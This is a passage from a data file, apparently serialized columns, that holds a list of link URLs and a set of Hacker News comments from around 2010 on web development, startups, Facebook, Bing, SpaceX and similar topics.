eventually you may end up in a situation where you are not sure if various styles are still being applied anywhere. Does anyone know of a good way to figure this out with some kind of software tool?\", NaN, \"I wrote a post about something very similar around a year ago that might be interesting to you. <a href=\\\"http://www.maximise.dk/blog/2009/01/getting-product-pricing-right.html\\\" rel=\\\"nofollow\\\">http://www.maximise.dk/blog/2009/01/getting-product-pricing-...</a>\", \"One exception, noted by the Journal's editorial page, was the first Ghostbusters movie.\", \"Ok, smart guys. Imagine Monty didn't have any \\\"probability\\\" of opening a \\\"goat door\\\": he just opens the 1st one (or only one if he only holds 1). It doesn't change anything about the problem; but that fake math quits working.\", \"Haha, reminds me of the writing on a run-down gas station  bathroom stall.<p><i>Why am I addicted?</i>\", \"Of course. It's a useful feature. My point was that a simple misunderstanding by a front end person \\\"Oh, this will make our site load faster\\\" could actually take down a site.<p>I hope that it makes front-end and back-end people more aware of how they're connected.<p>But you are right. Often, \\\"dangerous\\\" things, when used responsibly, can be good.\", \"Keep in mind that they're targeting real estate brokers, who would use this as part of their job. EasyBroker's clients are more likely to spend money for several reasons: brokers are more independent in their jobs than other people, so they may be used to buying tools on their own. Brokers are using this for their job, directly using the software to make money. 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\"http://blip.tv/file/1949416/\", \"http://blog.timetric.com/2009/05/upgrading-the-timetric-backend/\", NaN, NaN, NaN, NaN, NaN, \"http://vimeo.com/9068558\", NaN, NaN, NaN, NaN, NaN, NaN, NaN, NaN, NaN, NaN, NaN, NaN, NaN, NaN, NaN, NaN, NaN, NaN, NaN, NaN, NaN, NaN, NaN, NaN, \"http://roopit.com\", NaN, NaN, NaN, NaN, NaN, NaN, \"http://tobiastenney.com/2010/06/toxoplasma/\", NaN, \"http://arstechnica.com/microsoft/news/2010/06/a-year-of-bing-brings-credibility-some-market-share-gains.ars\", \"http://martinfowler.com/bliki/iPad.html\", \"http://www.youtube.com/watch?v=3-bLOc1qnMM\", NaN, \"http://www.cnn.com/2010/US/06/04/spacex.rocket.test/index.html?hpt=T2\", NaN, NaN, NaN, NaN, NaN, NaN, \"http://www.facebook.com/note.php?note_id=389414033919\", NaN, NaN, NaN], \"col9\": [\"I run into people blinded by the idea fallacy every now and then and I can't but shake my head. They'll tell me, I have this great idea for for you, but you'll have to pay me or give some equity. And all I feel like doing is vigorously shaking them.\", \"You don't have to go down to the bottom of the page - you can still hover over the link and still click it, even though it's not blue and underlined.\", \"Good ideas have more room for error -- you can take a great idea and do good work and still be successful.  Bad ideas require greatness; you have to get it just right.<p>I think it's the wiggle room that a good idea affords that people latch onto.\", \"I thought his assets were just frozen until the divorce was complete?\", NaN, \"Good detective work, but man, there is a reason the summer is called \\\"the silly season\\\" in the journalism trade. :D\", NaN, \"Is Nola Pro good?  <a href=\\\"http://www.nolapro.com\\\" rel=\\\"nofollow\\\">http://www.nolapro.com</a>\", \"This kind of interop error should be seen and fixed in the earliest development and should never reach users; that's the point of deliberately triggering it.\", \"Why, the Twitter service itself. Its called lock-in.<p>Rewrite the licensing to say for non-commercial use only, except under special license. Allow businesses to opt into a licensing agreement for a few hundred bucks a year. Release the hounds on any unlicensed companies.\", \"The likelihood that you're accurately judging the origins of your driving behavior from your keyboard while a cat is on your lap after reading an article like this is 0.0%. I have a dog in the room with me. Let me help you out. You are not a toxo zombie, 'ComputerGuru.\", \"I know of some people who were buying gold ounces at under spot once BCB was factored in.\", \"Atlas was also 50 years ago.\", NaN, \"The same but not as fast.  Usually 3 days to go through the ACH process. I routinely transfer money between my two bank accounts.\", \"whew! I'm glad I passed, though it should be obvious from my submission that my C is far from fluent! I am looking forward to the analysis - thank you for doing this RoG!\", \"How would you implement the UI for browsing search results in this system? Maybe draw some inspiration from map searching UIs.\", \"Okay, here we found an interesting bit:<p>> [...] but you've chosen a label for yourselves that was invented to describe the bad guys.<p>For me, probably randfish and lots of other people, some of them working in this industry, the word SEO just doesn't mean this.\", \"That's a very good idea. I'm going to edit the article, hat tip to you.<p>Edit: done <a href=\\\"http://www.cloudspace.com/blog/2010/06/03/html5-link-prefetching-or-the-most-dangerous-tag/\\\" rel=\\\"nofollow\\\">http://www.cloudspace.com/blog/2010/06/03/html5-link-prefetc...</a>\", \"We should abolish patents.\", \"And the counter is: If IE6 <i>doesn't already appear</i> broken to people out in the world already, in what sense that they care about <i>is</i> it broken?\", \"Which is probably why he <i>didn't</i> say that. The article has useful information and cautions people to think through the consequences before using the feature. It doesn't claim, at any point, that the feature will hurt the users.\", \"I can participate as a seller in the Apple App store. I cannot in the Android Marketplace.<p>Unless and until Canada is a first-class country on the Android marketplace, I won't even <i>look</i> at developing for Android.<p>(Granted, I probably won't do much with it even after that, because I hate Java with a passion and don't want the nasty performance hit that alternative languages currently have on Dalvik, but that's a different argument.)\", \"Why are you hiding this binary behind bit.ly?  Why not the webpage for this app?\", \"if your schedule is s.t. you can put an end to busy, you're not working hard enough.\", \"Another epic MS failure.  They should just rename the company \\\"XBox\\\"\", \"> Why was this submitted again?<p>Why? I only submitted this once. The first submitter may have deleted his submission. Actually, there is no way to know what that linked to for sure.<p>> jrockway already did an excellent point-by-point rebuttal<p>Quote: \\\"Bad science: OK, I'm tired of reading this tripe now. (Next)\\\"<p>Excellent rebuttal indeed. Who upvotes this?! I for one think \\\"Bad Science\\\" is spot on. It's a shame the taxpayers have to foot the bill.\", \"The TFA asks \\\"how do you test for Toxo\\\" - the answer: <a href=\\\"http://www.webmd.com/food-recipes/food-poisoning/toxoplasmosis-test?page=2\\\" rel=\\\"nofollow\\\">http://www.webmd.com/food-recipes/food-poisoning/toxoplasmos...</a><p>That article really made me shudder:\\\\n<i>A small literature is coming out now reporting neuropsychological testing on men who are Toxo-infected, showing that they get a little bit impulsive. \\u2026 And then the truly astonishing thing: two different groups independently have reported that people who are Toxo-infected have three to four times the likelihood of being killed in car accidents involving reckless speeding</i><p>I have a cat (and have always had one) and am in constant close contact (she's literally in my lap non-stop while I'm at home) and I sometimes (often?) forget to clear the cat litter for days (yuck, I know). And I have this thing where I always feel I'm <i>simply not going fast enough</i> while on the road (140kmph on mountain roads is normal for me during my 90km one-way daily commute). Am I just overreacting (traditional self-diagnosis) or is this really worth looking into?\", \"As far as Facebook iconography goes, this isn't nearly as creepy as That Guy from Facebook's old logo: <a href=\\\"http://mashable.com/wp-content/uploads/2007/04/facebookguy.PNG\\\" rel=\\\"nofollow\\\">http://mashable.com/wp-content/uploads/2007/04/facebookguy.P...</a><p>Frankly, it seems to be in the general category of vaguely strategy-conveying graphics that a lot of companies employ. It's nowhere near as bizarre as, for instance, the graphics underlying the rationale behind the Pepsi rebranding last year, conveying such concepts as \\\"Relativity of Space and Time\\\", \\\"Gravitational Pull of Pepsi\\\", \\\"The Pepsi Ratio\\\", the comparison of \\\"The Earth's Geodynamo\\\" to \\\"The Pepsi Globe\\\" and \\\"Magnetic Fields\\\" to \\\"Pepsi Energy Fields\\\", and the not-quite-orthagonal axes of \\\"Convention to Innovation\\\" and \\\"DNA to Future\\\" projected through the old Pepsi logo to create the new one: <a href=\\\"http://www.fastcompany.com/files/PEPSI%20GRAVITATIONAL%20FIELD.pdf\\\" rel=\\\"nofollow\\\">http://www.fastcompany.com/files/PEPSI%20GRAVITATIONAL%20FIE...</a>\", \"Wait... SQL <i>causes</i> lock-in? I admit that some of the extensions are rather useful, but...\", \"<i>Sorry, but there truly is no (good) excuse for any IT dept to restrict users to IE6.</i><p>You can't install IE7 or 8 alongside 6 and no other \\\"modern browser\\\" has any kind of reasonable group policy management support or administrative control over updating or extension policies.\", \"Oh, <i>come on</i>! \\\"Childish and creepy\\\"? Complaining about privacy issues is one thing, but finding stupid excuses to slam a person is something quite different.\", \"You bring up an interesting topic.  Is the idea of Freedom valuable with no execution?<p>Freedom itself is almost priceless.  I am well aware that the freedoms I enjoy now was bought with the blood of many who went before me.  But that was the very costly execution that made freedom a reality.  Is the idea, without tht execution to create freedome itself, of great value?\", \"SpaceX has had at least one crash before:<p><a href=\\\"http://www.npr.org/templates/story/story.php?storyId=5315156\\\" rel=\\\"nofollow\\\">http://www.npr.org/templates/story/story.php?storyId=5315156</a>\", \"I agree with dinde: I don't see what the big deal is about. The comments about a 'cult' and the Illuminati were clearly jokes during the interview. (see <a href=\\\"http://d8.allthingsd.com/20100602/whats-under-mark-zuckbergs-hoodie/\\\" rel=\\\"nofollow\\\">http://d8.allthingsd.com/20100602/whats-under-mark-zuckbergs...</a>)<p>It's like asking if all the birds pictured in the Twitter office are a proof that Twitter is in fact a bird-oriented cult and they're striving for world-domination done by birds. Or saying that Google thinks their users are kids because of the primary colors they put everywhere.<p>Mark Zuckerberg loves hoodies. He built a giant company. So, of course, they'll make some company hoodies and sometimes they'll add something more than the Facebook logo, something that represents what the company is about.\", \"ouch\", \"Just like XBox business, Bing is also another loss leader for Microsoft. Obviously Microsoft would do anything to get market share since they have a gigantor war-chest. A year later with all the cheers from its usual supporters, Bing managed to get \\\"some\\\" increase on traffic. Well, I wonder how much of those are directly coming from Facebook search which Microsoft has a lot of stake in.\", \"I think you already learned your lesson, but I want to repeat for all the others: SEO and non-programmer doesn't really fit.<p>Think about what the job of a SEO is: Make Google like the site more. How does it work? Make a better site, that gets more links. Okay, the \\\"get more links\\\" part is possible without any technical knowledge. But if the site is crap, this won't help. So how could anybody make a html site better without being a web programmer? Yeah, right....\", \"I feel the same way about saying physical gestures like \\\"<i>shrug</i>\\\". And also about \\\"Wow. Just Wow.\\\" But I can master my distaste for those; they're not why I mentioned it. Who knows what the line is?<p>Maybe it's more because using gay terms as pejoratives is a nasty habit and we should stamp it out rather than try and equivocate just because they're familiar.\", \"More likely from seeing my tweet: <a href=\\\"http://twitter.com/KuraFire/status/15401140612\\\" rel=\\\"nofollow\\\">http://twitter.com/KuraFire/status/15401140612</a>\", \"Sure, my email is in my profile.\", \"In a word, no.\", \"Looks like a great way to burn through 50Million in 2 years:<p><a href=\\\"http://en.wikipedia.org/wiki/Jellyfish.com\\\" rel=\\\"nofollow\\\">http://en.wikipedia.org/wiki/Jellyfish.com</a>\", NaN, \"I got $150 off of a camera bought through eBay b/c of Bing. I can't imagine how they ever thought that made business sense.\", \"Lack of browser chrome does not a native app killer make.\", \"That post needs some heavy duty clarification.\", \"There's a firefox plugin. <a href=\\\"https://addons.mozilla.org/en-US/firefox/addon/5392/\\\" rel=\\\"nofollow\\\">https://addons.mozilla.org/en-US/firefox/addon/5392/</a> It has been a while since I last used it but it generally gave good indications.\", \"Link for confirming your account via phone:\\\\n<a href=\\\"http://www.facebook.com/confirmphone.php\\\" rel=\\\"nofollow\\\">http://www.facebook.com/confirmphone.php</a><p>Also, confirming your account allows you to use site features without having to enter CAPTCHAs and also allows you to upload High Quality video to the site.\", \"I agree.  The closest thing that page provided to concete advice was to avoid busy work and talk to your boss.<p>But that runs into two immediate problems.  The first is that unless your boss already thinks you are genuinely overworked, they are not likely to be too sympathetic to you wanting to work less.<p>Now, if you can identify specific tasks that you think are busy work, you may get your boss to remove those or explain why they are not busy work.  Of course, those tasks may then be replaced by others.<p>And this also brings me to the second point.  Busywork should be avoided, but you need to make sure it is busywork.  Your boss may very well have a good reason to have given you a task that you just don't see from your point in the organization. It may be worth asking him/her about so you can better understand why you are doing those tasks, but that does not mean you should unilaterly decide they are busy work and stop doing it.<p>Of course that only addresses work.  Outside of work you may have more control, but even there your actions likely impact others and this should be considered when cutting things out.  A proverbial soccer-mom may easily free up 3 hours a week by removing her child from soccer, but this will certainly impact the child.\", \"There is no real A/B testing for SEO, sorry. As you say, there is only one Google.<p>You can try to simulate a 'test' with two equal throwaway sites, but this will never give you the same insight as using it on a big site with real content and real visitors. But it can help you find problems in linking structures, tweak the (really small) benefits of using one or another html tag.<p>The success of SEO can't be isolated. But, increased crawling of the page and disproportionate visitor growth from Google are good signs.\", \"Perhaps if we redefine language to include data communications protocols, and the only difference is in how the protocols are interpreted by the receiving device, I can agree with you.\", \"This blog post is short on details, but I assume he's referring to FB's change from a couple days ago that <i>developers</i> have to verify their accounts. And yes, I too had trouble with the SMS verification, but a) that hardly forces me to use FB payments, b) devs are a tiny fraction of their userbase, c) stuff for devs are broken all the time on FB, and d) never attribute to malice that which can be explained by incompetence.\", \"Excellent Radio Lab episode on this and other parasites: <a href=\\\"http://www.wnyc.org/shows/radiolab/episodes/2009/09/25\\\" rel=\\\"nofollow\\\">http://www.wnyc.org/shows/radiolab/episodes/2009/09/25</a>\", \"Awesome - big congrats to SpaceX and the team there!!\", NaN, NaN, \"Anyone else get faster in there area? Want to make sure this isn't some bs claim.\", \"I hope that once it's sealed they recover the blowout preventer and figure out why it failed.\", NaN, \"I totally disagree. Age means less and less with each passing day. Zuckerberg's bad press comes from the fact that he has a huge and highly-vocal userbase and he implements features that they don't like, or at least, in a way that they don't approve of even if the features themselves rock. That, and he's a bit too eager to capitalize on his successful platform, willing to take risks with user privacy and data \\\"pushing the boundaries\\\" so to speak in order to find out what users are willing to put up with and what they're not.<p>When it seems like almost everyone you know has a facebook account, there are bound to be complaints. It has nothing to do with age, it has everything to do with centralized power.\", NaN, \"I'm not sure I agree.  You may describe an underwater setting by saying \\\"there is a clump of seaweed floating 3 meters above  , 10 meters in front of, and 2 meters to the left of your current location, and a shark hiding about 20 meters behind the clump of seaweed\\\", but it's much more efficient for you to send me a JPEG image of it, or better yet, a 3d image of it.  I think this is how most scientists believe that dolphins communicate.<p>This is sort of like the difference between playing a text game like Zork or a 3D MMO like World of Warcraft.  English only descriptions leave the details up to your imagination.  3d graphic imagery communicates the actual picture.\", \"BCB is still alive and kicking until July 30th at 9:00 pm PST.  Buy away fellow HNers.\", NaN, \"Oh no, another land rush for a name space yet again.\\\\nMissed the domain name rush.\\\\nDitto the Twitter rush.\\\\nAnd now this -\\\\nQ: what's your worldoftext handle that you're homesteading for $8.99 a year?\\\\nA: <a href=\\\"http://www.yourworldoftext.com/all_the_good_names_were_gone\\\" rel=\\\"nofollow\\\">http://www.yourworldoftext.com/all_the_good_names_were_gone</a>\", \"Is this to get a Facebook account? They are actually asking people to submit a credit card to get a Facebook account? If this is true, wow. I can't think of any reason I'd give Facebook my credit card number.\", \"As cliche as it sounds, I definitely see an ad-based revenue stream coming here.\", \"Perfect reply. Thanks!\", \"You make fine points and I agree.<p>But if I may, it can be expanded on.  In mathematics, a theorem is an idea combined with proof.  In short, the idea is combined with the knowledge that it is a true and accurate fact (at least within the domain you are working in.  Things are true in C that are not true in R), along with some idea why it is true emboddied in the proof.  It is this combination of the idea with knowledge it is right that makes it valuable.<p>To be slightly more concrete, the idea that P = NP is not overly valuable.  It is not yet proven either way and it could be true or false.  A full proof would be tremendously valuable, and very surprising to many who are very confident P != NP.  Creating a proper proof seems much more akin to writing the novel than it is to having the idea for the novel.\", \"The oil is biodegradable. Very biodegradable actually. All you need is oxygen.<p>In deep water there isn't much oxygen, and when it coats shores only the top layer degrades (so it takes some time). But if you can spread it out it will all be gone.<p>And once degraded it leaves no residue at all.\", \"It seems like something new to check for on your DB heavy pages.  You could ignore requests with that header if your servers can't handle the additional traffic.\", \"OK, fair enough\\u2014the downvotes have spoken clearly.<p>Truth to tell, I looked at the article for contact information\\u2014obviously far too cursorily\\u2014and, when I didn't see it, figured that the author would be likely to spot it on Hacker News.  (I have since e-mailed the author.)\", \"This is quite scary, actually. Since when is email not a sufficient form of user validation?  Facebook may have an entirely new issue on their hands.  Their PR team is going to be even busier than the peak of the privacy settings fiasco.\", \"do you mean that\\\\na) you have transferring disabled for your account<p>or<p>b) that your bank doesn't let you do that?\", NaN, \"And the mom and the girlfriend and...\", \"Dave McClure comes off pretty poorly in my opinion, everyone else came off very intelligent with excellent points.<p>EDIT: To back up my point about Dave, he focuses completely on building profits. Its easy to say \\\"Hey Apple makes 7cents on the dollar\\\" but it shows a lack of foresight.\", \"Are keychain generators common outside the US?  I'm curious why physical measures like this aren't more common.\", \"Personally, whenever I find a superscript I compulsively go to the footnote and back. I think of footnotes as asides which would be too long to put in parentheses. (I do ignore footnotes that just go to citations.)\", \"When I decided to focus on the things that matter in my life, I got much busier. Sure, I have fewer items on my todo list now, but each one of them takes a lot of time, energy, and focus to get right. When I was less focused, I had plenty of free time because I didn't realize how much work it takes to get the most important stuff right.\", \"That's what I don't get: Where do you get the \\\"shady industry\\\" stuff from?<p>SEO is just one more tool in you toolbox. Easy to learn, hard to master, but massively effective.<p>And yes, there are lots of (very vocal) idiots out there. But this type of people is in every industry. So I don't get it why so many people see them as \\\"the industry\\\".\", \"Keep in mind that there are 400+ YC founders out there now, and we roll deep. A lot of us do keep tabs on Hacker News and we do vote up and support our friends.<p>So no juice needed. Just regular voting.\", \"It's a support \\\"issue.\\\"  Large IT departments will say that it requires extra support to install a second browser.  Is it worth the \\\"extra\\\" cost in time and support?<p>As a developer, in some organizations, you can't install anything on your own machine.  So, you can't get your software to work on Firefox, for example.  All your software simply has to work on the company standard browser.  The idea is that you'll deal with it later...and 8 years later...\", \"Yeah I doubt RIM would agree with you. That is just one example.\", \"<i>\\\"This is essentially the same mechanism used by sailboats tacking against the wind, and despite being counterintuitive at first is well-established.\\\"</i><p>Tacking is different from this.  This is using ground-speed to generate thrust, as even the shills acknowledge.<p><i>\\\"The speed is limited only by gearing and mechanical efficiency--an idealized device could accelerate arbitrarily.\\\"</i><p>Arbitrary magic acceleration inside an atmosphere should be your first clue that something's <i>extremely</i> wrong here.<p>And yes, I looked at the various forum links that turned up, which made very clear the very typical full-court astroturf press going on (like the argument above with someone who registered only to argue with unbelievers in this thread).  You might take a look.<p><i>\\\"Sticking with a knee-jerk reaction against something while ignoring further information that supports it gives \\\"skeptics\\\" a bad name.\\\"</i><p>Skeptics get a bad name because they don't join in the squee.<p>All I ask is that <i>you</i> look at the further information.  Check back on this story in months and years and see whether it pans out.\", NaN, \"I was going to post something similar but decided against it at first but seeing as it looks like I'm not the only one that thinks so...<p>The article comes off as extremely biased and seems (to me) to pass off a number of opinions as fact in order to slam Zuckerberg some more (the \\\"trend du jour\\\" of bloggers these days).<p>I thought I was going to read an article with some comments from Facebook regarding a new PR campaign or something based on the article's \\\"And What It Means\\\" line.  Not some blogger's artistic interpretation.\", \"His end users deserve better. He's wilfully confronting them with interop failures they aren't in a position to understand, much less do anything about. Testing is a burden which should be borne by developers.\", \"I always hit \\\"Report Spam\\\", works for everything except me@s\\\\ni have no problems with my personal domain, but if e-mails are addressed to my gmail account in me@ list that fails.\", NaN, NaN, \"I'm investing in asteroid mining <i>now</i>...\", \"I don't think the rest of the world cares that much. US software patents don't mean much to anyone outside the country...\", \"Coz OSX doesn't run >90% of world's computer. Else it would have been same\", \"Actually, Posterous has a web editor that's super powerful and easy to use. You can post all content including media without using email if you want\", \"user guide, nice. hope they have a Python API!\", \"There's seems to be some disagreement and debate here about what is \\\"less distracting\\\" between superscripts (followed by footnotes) and links.  To me this seems obvious since one adds text to the sentence (literally a number) and the other has only an underline to signify its presence.  However, it just occurred to me that this is not what this debate is about.<p>The distraction in this context is not defined by the presence or absence of text, it's the perceived value of the content there.  I think historically footnotes have been of lower value to the reader than links.  Take wikipedia as an example: for info that is absolutely necessary to understand the article there is a link, and for further reading or references there is a footnote.  Maybe we have been conditioned to think links are necessary reading because of their historical use, and that's why one camp sees them as \\\"more distracting.\\\"\", \"What Apple is doing with their App store policies is far worse than packaging IE with windows or using proprietary .doc format by default for word files.<p>It would be hard for Apple to reach market shares as great as MS, if they do you will see them hit equally hard for breaking monopoly rules.\", \"Even the main stick man character is the Author's own voice (or that's how I read it).  So that's the most prominent character.  His \\\"Dilbert\\\" if you will...\", \"Title is link bait. They're talking about the HTML code you can put in your header to kill Safari GUI elements.\", \"Would you agree the \\\"describing\\\" issue you raise is the same as \\\"English can <i>describe</i> what it feels like to be pinched, but cannot make you <i>feel</i> a pinch\\\"? No dolphins are needed, it's the issue of qualia.<p>A universal language can express anything that can be expressed in language. If qualia are outside the realm of language, that wouldn't make English less universal.<p>You may say dolphins use a language, and then feel qualia in response. Similarly, we can imagine a human who is genetically engineered for his skin to pinch when he hears certain sounds, so that he would feel the pinching quale. I think in neither case should triggering hardware features by sound be considered language. A nice example is \\\"clap on\\\" devices -- surely that's not language.\", \"Since you asked for me to explain it to you, I'll do so.<p>As someone who has hired many people I've learned that people with so little interest as to spend five minutes looking us up are typically generally lazy (even outside the context of our company) and specifically may be incompetent.<p>At the point of looking at resumes I have very little to go on.  If the resume comes in with Kool Aid stains on it, and states that you'd like any job that pays, preferably working with hot chicks, I'm less inclined to spend much time with your resume.  Everyone says they're a professional.  Unless I'm desperate to hire someone, the burden of proof is on you. And the fact of the matter is if I'm getting 500 resumes, and 50 of them can point to having reverse engineered our object-model in high school, why does your resume asking \\\"what is it that you guys do again?\\\" merit a second look.<p>Maybe in a world where you're especially in demand, what you suggest is fine.  If I get Sergey Brin or David Cutler's resume on my desk, I'll call them and let them know what we do.  But if you're random dev -- well you need to prove you're not JUST a random dev.<p>And this really is relative.  If you're applying for the most coveted dev role in the world, you need to show more in the resume than if you're applying to fix bugs in the Waste Management LOB app written in COBOL from 1979.\", \"I liked Readability, but since I got a Kindle I am in love with Instapaper. Does more or less the same thing, but pushes it to your ebook reader. I hope they add a similar feature.\", \"The article actually covers that:<p>Virtually every single one of the large sites does it:<p>\\\"Think switching pricing on your users is is unfair or clumsy? The biggest ecommerce sites in the world have been doing it since the turn of the millennium!\\\"<p>Links to:<p><a href=\\\"http://www.wired.com/techbiz/media/news/2000/09/38622\\\" rel=\\\"nofollow\\\">http://www.wired.com/techbiz/media/news/2000/09/38622</a><p>If you have a lot of returning customers offer a price-drop gaurantee or similar.\", \"I'm pretty sure submissions about YC funded companies are juiced.\", \"You can't host your own Posterous and it has fewer features and no third party plugins but it's easier to use, has built in syndication to TwitFace, and is probably far more secure than WordPress.<p>(Edit: How is this wrong? Was it my playful nickname for Twitter and Facebook collectively?)\", NaN, NaN, \"It's not really compulsory in the sense that someone is making you participate. It's simply the peer pressure. Here's some \\\"anecdata\\\" to illustrate the point: I don't have a Facebook account anymore, but my wife does. Anyone among my friends and family who wants to see my son's photos is told to go to my wife's photo gallery. Sure, we could use Picasa or Flickr or even e-mail, but she's already using Facebook and it's easier that way. So if a friend or family member wants to see the photos and doesn't have a Facebook account, they have an additional small incentive to get one.<p>Facebook has become one of those things everyone mentions now and then. You can use it to keep in touch with high school friends (even those you didn't like in the first place), to exchange gossip, to kill time (if you think mindlessly watching TV is the worst you can do with your time, think again), etc. If everyone around you uses it for something and mentions it often enough, you'll feel left out of that. Those of us who can say \\\"well, I'm glad to be left out of <i>that</i>\\\" are a minority.\", \"A slight correction for the article:<p>They say, \\\"You\\u2019re not going to win me over if I have to own a Mac or use a nightly build to see something,\\\" but if you have a Webkit nightly on Windows you'll still see that same message telling you to use Safari on OS X.<p>So, basically you'll need a Mac to see any CSS 3D transforms. It's because that portion of Safari relies on the Core graphics framework.\", \"I think this is the first time I have seen an (almost, I know, not complete) dupe on the front page.\", \"That\\u2019s an absurd comparison. Generating mathematical conjectures and then proving them takes decades of preparation and careful study and analysis of a difficult problem. Generating a movie plot idea at the level Adams is talking about takes, with no preparation, a few minutes and a dinner napkin.<p>The equivalent kind of \\u201cidea\\u201d in mathematics might be \\u201cI\\u2019m going to understand and model heat dispersion in a block of metal\\u201d, with the \\u201cexecution\\u201d being developing the underlying machinery (partial differential equations) gathering enough data, and building a model (the heat equation) that fits the data and can be used to compute practical approximations. The \\u201cidea\\u201d part can be done by anyone; the execution is made up of decades of hard work and hard thought by several of the world\\u2019s most famous mathematicians, building on centuries of previous effort.\", \"Scoring free rent and food sounds like almost as much work as the startup itself.<p>I guess if you're in a college town, you could just pretend to be a student and attend student club meetings for the free pizza. I don't know how to handle the rent. You could always seduce girls, I guess. But that seems time consuming. And if you can score free food and seduce girls <i>already</i>, maybe your youth would be better spent that way rather than in a startup?\", NaN, \"\\\"WARNING! Tynt Blocker has detected Tynt.com's tracer script in use on this site.\\\"<p>I can't recommend this Chrome extension enough. :)<p><a href=\\\"https://chrome.google.com/extensions/detail/achmnghbfplhfomhiohmojicomlgmkam\\\" rel=\\\"nofollow\\\">https://chrome.google.com/extensions/detail/achmnghbfplhfomh...</a>\", \"How does it work in the US?\", \"A sphere sounds quite unlikely. Maybe a torus, though.\", \"Ah yes... His ex is actually blogging, on livejournal of all places. Cool to get a view from the other side.<p><a href=\\\"http://moschus.livejournal.com/141570.html\\\" rel=\\\"nofollow\\\">http://moschus.livejournal.com/141570.html</a>\", \"It's cute to see someone's intelligence being insulted in a syntactically ill-formed sentence.\", \"Very refreshing to read straight up reasoning. I was expecting a lot of spin (I wonder what they wrote in the message they sent free users)<p>Instead some really good points for a fully paid model. They can be more targeted in their acquisition and measuring. Makes sense.\", \"I never understood why microsoft doesn't roll out it's own adsense+adwords. It only makes sense to do it with bing.\", \"Doesn't seem like a big deal to me. I think a lot of Zuckerberg's bad press comes from his age: i.e., people are jealous of his success.\", \"Do you think that tech training is a decent market in general, or just for this one industry?\", \"I made something like this awhile ago, it's not as nicely done though: <a href=\\\"http://wall.bot.nu/\\\" rel=\\\"nofollow\\\">http://wall.bot.nu/</a> (wait till the red cursor scrolls all the way to the bottom)\", \"Seems like they are actually following the mantra of releasing a dead simply product quickly, and the slowly adding more features so that in the end, the users might as well have signed up for WordPress or Tumblr or similar sites in the beginning. Clever.\", \"It helps that the design is similar to that of the Falcon 1, which has already been successfully launched a few times. It uses the same engines, and I think it has a lot of the same electronics. (Fun fact: they use Ethernet for their avionics, replacing what would have been horrible tangles of wires in older rocket designs.)\", \"Can we chat on AIM/email?\", \"Would you be up for an email/AIM chat about this?\", \"So do I, and it's a pain. some of my CSS files feel bloated and unnecessarily big,  but it's an even bigger pain to go through the whole codebase and check everything out by hand.<p>It's a problem and if there's a solution out there it would make me very happy.\", \"I can't wait for the next headline:<p>Posterous Reveals Radical New Feature: FRAMES!\", \"I never directly follow hyperlinks a page that I'm still reading. Instead I middle-click to open them in a new tab, and continue reading in my current tab until I'm done (or until I get stuck and need the info from a linked page to continue). Only then will I look at the new tabs. This works pretty well for maintaining concentration, but it's only accessible to users who understand tabbed browsing and go out of their way to develop the habit.<p>I wonder if a better interface than footnotification would be to make the hyperlinks not immediately open the new page, but instead add the linked page to a list displayed at the bottom or side of the document. This way, you could click on any links that seem interesting and get a list of them to follow later.\", \"Let's not be snobby about ads. Relevant ads actually help people. I l-l-l-like the ads on google. There I said it.<p>Why was that so difficult? Simply because my opinion of ads is colored by mass marketed ones that are not relevant the vast majority of the time. I see them, more or less by accident, trapped in a passive moment.<p>Ads of the future will seem more like helpful suggestions as I go about my day. Look at Kayak. It's essentially nothing but a marketing tool and I love it.\", \"Thanks for the kind words Jon. Didn't expect to see you around on HN. :)\", \"Hrm. I guess I'm just strange then. I always read footnotes as soon as I run into them.\", \"Spent 30 minutes scrolling to the side following the trail that promised infinite treasures. After a endless track following footprints through the whitespace desert, behold,  an oasis of poetry and song. It was like Columbus landing in the new world.\", \"Thanks! But the darn \\\"buffering\\\" skipped over some of the good parts...\", \"My understanding is that the correct way to handle this is to pay yourself as an employee.<p>I run my personal payroll through Intuit online payroll with direct deposit. It costs me a few bucks each month, but the time I spend not thinking about payroll is well worth it.\", \"Yea it seemed ridiculously flawed. At one point they were offering 30% off whatever you bought on ebay, and I had Microsoft pay me $200 to get a new Macbook.\", NaN, \"True, but actually calling someone a fanboy is a very reliable way to end a productive conversation and debate (or prevent one from starting).  It's an indication that you're not going to listen to anything the other person is going to say because they're so heavily biased.<p>That's why I wish people wouldn't use the word.\", \"I don't know about this. Wouldn't you piss off customers if you switch prices on them too much? The Internet tends to keep information. If someone sees that your product used to cost 9.95 and now you are charging 19.95 for it, they would feel cheated paying the higher price, and probably would not pay. And you would not get a chance to explain that you were just testing price elasticity.\", \"You can't really be sure without running all of your javascript code and checking all of your pages, after all some hidden bit of javascript might change a style based on some event to match one in the css, it might even do it by combining various terms to form the selector, and it might manipulate the ids and classes of elements already on the page.<p>That's a tricky problem. I'm not aware of a tool, but if you find one I'll be happy to test it, I have a few of those questionable items in my style sheets that are still there 'just in case'.\", \"I've stayed in Steven's apartment before while working on Anticlothes.  Great building and location in Austin.  And he's a stand up guy and super talented designer.\", \"That comment uses an odd rhetorical technique -- the poster claims that the article uses \\\"blatant doublespeak\\\"... while ironically writing a long response claiming that he's refusing to write the response that he's writing.<p>Ok, interesting use of sarcasm (at least I hope that's sarcasm), but I'm not sure why someone would write a counter-argument, when even the post you're responding to is inviting him to make his argument in the first place. ;)\", \"Insurance, Insurance, Insurance.<p>Specifically Health and P&C lines. Although Health Insurance is starting to see some innovation in the US.<p>Reasons:<p>1. Perceived high barrier to entry, yet that isn't the case.\\\\n2. Major players are tech dinosaurs at best.\\\\n3. Small brokers (potential customers) dominate the landscape.\\\\n4. Legislation keeps markets small because there is little in common from one area to the next - everything is niche.\\\\n5. SV thinks it's boring, so you don't need to be the second coming of Steve Jobs to be very successful.\", NaN, \"Site Catalyst:\\\\n<a href=\\\"http://www.omniture.com/en/products/online_analytics/sitecatalyst\\\" rel=\\\"nofollow\\\">http://www.omniture.com/en/products/online_analytics/sitecat...</a>\\\\nIt's not free though. :/\", NaN, NaN, NaN, \"It seems to be a common problem that as stylesheets mature and the project grows that eventually you may end up in a situation where you are not sure if various styles are still being applied anywhere. Does anyone know of a good way to figure this out with some kind of software tool?\", NaN, \"I wrote a post about something very similar around a year ago that might be interesting to you. <a href=\\\"http://www.maximise.dk/blog/2009/01/getting-product-pricing-right.html\\\" rel=\\\"nofollow\\\">http://www.maximise.dk/blog/2009/01/getting-product-pricing-...</a>\", \"One exception, noted by the Journal's editorial page, was the first Ghostbusters movie.\", \"Ok, smart guys. Imagine Monty didn't have any \\\"probability\\\" of opening a \\\"goat door\\\": he just opens the 1st one (or only one if he only holds 1). It doesn't 